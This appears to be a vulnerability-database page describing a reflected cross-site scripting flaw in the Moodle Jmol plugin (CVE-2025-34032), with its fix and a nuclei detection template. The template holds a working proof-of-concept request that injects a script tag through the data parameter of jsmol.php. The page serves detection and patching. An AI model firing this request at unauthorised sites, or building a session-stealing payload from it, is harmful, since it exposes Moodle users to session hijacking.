Browse / CVEs / CVE-2025-34032
CVE-2025-34032· CWE-80
Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
Impact
Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
Fix
Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
How to confirm it
Send: GET {{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html
Positive when: len(body) == 41 and status_code == 200 and contains(content_type, "text/html") AND matches /^<script>alert\(document\.domain\)</script>\s*$/Run it with nuclei: nuclei -id CVE-2025-34032 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-34032
info:
name: Moodle LMS Jmol Plugin <= 6.1 - Cross-Site Scripting
author: madrobot,ritikchaddha
severity: medium
description: |
A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers through crafted links containing XSS payloads in the data parameter, potentially leading to session hijacking.
remediation: |
Upgrade to a patched version of Moodle Jmol plugin that properly sanitizes user input in jsmol.php.
reference:
- https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2025-34032
classification:
epss-score: 0.0078
epss-percentile: 0.56255
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cve-id: CVE-2025-34032
cvss-score: 5.4
cwe-id: CWE-80
metadata:
max-request: 1
tags: cve,cve2025,moodle,xss,edb,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(document.domain)%3C/script%3E&mimetype=text/html"
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'len(body) == 41'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
condition: and
- type: regex
regex:
- '^<script>alert\(document\.domain\)</script>\s*$'References
- https://www.dionach.com/blog/moodle-jmol-plugin-multiple-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2025-34032
Use this check only on systems you are authorised to test. Where the data comes from